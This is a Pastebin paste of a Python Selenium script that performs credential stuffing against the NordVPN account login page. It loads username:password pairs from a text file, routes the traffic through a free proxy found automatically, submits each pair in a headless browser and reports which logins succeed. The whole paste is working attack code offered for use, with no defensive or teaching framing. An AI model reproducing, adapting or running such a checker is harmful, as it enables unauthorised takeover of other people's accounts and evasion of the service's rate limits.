Advertisement
Guest User

Untitled

a guest
Jan 20th, 2020
14,280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.96 KB | None | 0 0
  1. from selenium import webdriver
  2. from selenium.webdriver.chrome.options import Options
  3. from colorama import Fore, Back, Style
  4. from proxybroker import Broker
  5. import time,colorama,os,asyncio
  6.  
  7. #initialize colorama for later use
  8. colorama.init()
  9.  
  10. class proxyy:
  11.     pxy = ''
  12.  
  13. def get_proxy():
  14.     proxies = asyncio.Queue()
  15.     broker = Broker(proxies)
  16.     tasks = asyncio.gather(
  17.         broker.find(types=['HTTP'], limit=1),
  18.         show(proxies))
  19.     loop = asyncio.get_event_loop()
  20.     loop.run_until_complete(tasks)
  21.  
  22. async def show(proxies):
  23.     while True:
  24.         proxy = await proxies.get()
  25.         if proxy is None: break
  26.         proxy = str(proxy)
  27.         proxy = proxy.split('] ')
  28.         proxy.pop(0)
  29.         x = proxy.pop(0)
  30.         x = x [:-1]
  31.         proxyy.pxy = x
  32.  
  33. def make_list():
  34.     username_list = []
  35.     password_list = []
  36.     with open ("list.txt",'r') as f:
  37.         passlist = [line.strip() for line in f]
  38.         for item in passlist:
  39.             login_split = item.split(":")
  40.             username_list.append(login_split[0])
  41.             password_list.append(login_split[1])
  42.     return username_list,password_list
  43.  
  44. #get the elements
  45. def find_elements(driver):
  46.     #find the username element by name
  47.     username = driver.find_element_by_name('username')
  48.     #find the password element
  49.     password = driver.find_element_by_name('password')
  50.     #find the submit button
  51.     login_button = driver.find_element_by_xpath('//*[@id="app"]/div/main/div/div/div/form/div/button')
  52.     return username,password,login_button
  53. #end of find_elements function
  54.  
  55. #send the specific login keys to their respective elements
  56. def send_login(u,p,login_button,uName,pWord):
  57.     #send given username into its text field
  58.     u.send_keys(uName)
  59.     #send popped password into its respective text field
  60.     p.send_keys(pWord)
  61.     #click the submit button
  62.     login_button.click()
  63. #end of send_login function
  64.  
  65. #check if the login worked or not
  66. def is_logged_in(driver,username,password):
  67.     try:
  68.         username = driver.find_element_by_name('username')
  69.         driver.get("https://ucp.nordvpn.com/login/")
  70.         return False
  71.     except:
  72.         return True
  73. #end log in check function
  74.  
  75. def initialize_driver():
  76.     get_proxy()
  77.     proxy = proxyy.pxy
  78.  
  79.     PROXY = proxy
  80.     service_arg = [
  81.         '--proxy=' + PROXY,
  82.         '--proxy-type=html'
  83.     ]
  84.     chrome_options = Options()
  85.     chrome_options.add_argument("--headless")
  86.     driver = webdriver.Chrome(chrome_options=chrome_options, executable_path="chromedriver.exe", service_args=service_arg)
  87.     return driver
  88.  
  89. #clear instances that may have been left open
  90. os.system('taskkill /IM chromedriver.exe /F')
  91. #set the webdriver to chrome because why not
  92. driver = initialize_driver()
  93. #get the instagram page
  94. driver.get('https://ucp.nordvpn.com/login/')
  95. time.sleep(5)
  96. #find the username,password and login button elements so that we can use them elsewhere
  97. username,password,login_button = find_elements(driver)
  98. #make a password list seperated by returns
  99. username_list,password_list = make_list()
  100. #get the length of said list
  101. pass_list_length = len(username_list)
  102. #print out that the x number of passwords were loaded
  103. print (Fore.GREEN + "[*] {0} logins loaded successfully".format(pass_list_length))
  104. #for every item in the list starting at 0
  105. for i in range(0, pass_list_length):
  106.     username,password,login_button = find_elements(driver)
  107.     #get number i popped from the list
  108.     uName,pWord = username_list[i],password_list[i]
  109.     #attempt to login
  110.     send_login(username,password,login_button,uName,pWord)
  111.     #neccasary sleep for 1 second or else it doesnt have time to load
  112.     time.sleep(2)
  113.     #get true or false if it worked
  114.     balance_beam = is_logged_in(driver,username,password)
  115.     if balance_beam:
  116.         print (Fore.GREEN + "[!] Logged in as {0} with password {1}".format(uName,pWord))
  117.     else:
  118.         print (Fore.RED + "[*] Failed to login as {0} with password {1}".format(uName,pWord))
  119.         print ("[-] Attempt {0}/{1}".format(i+1,pass_list_length))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement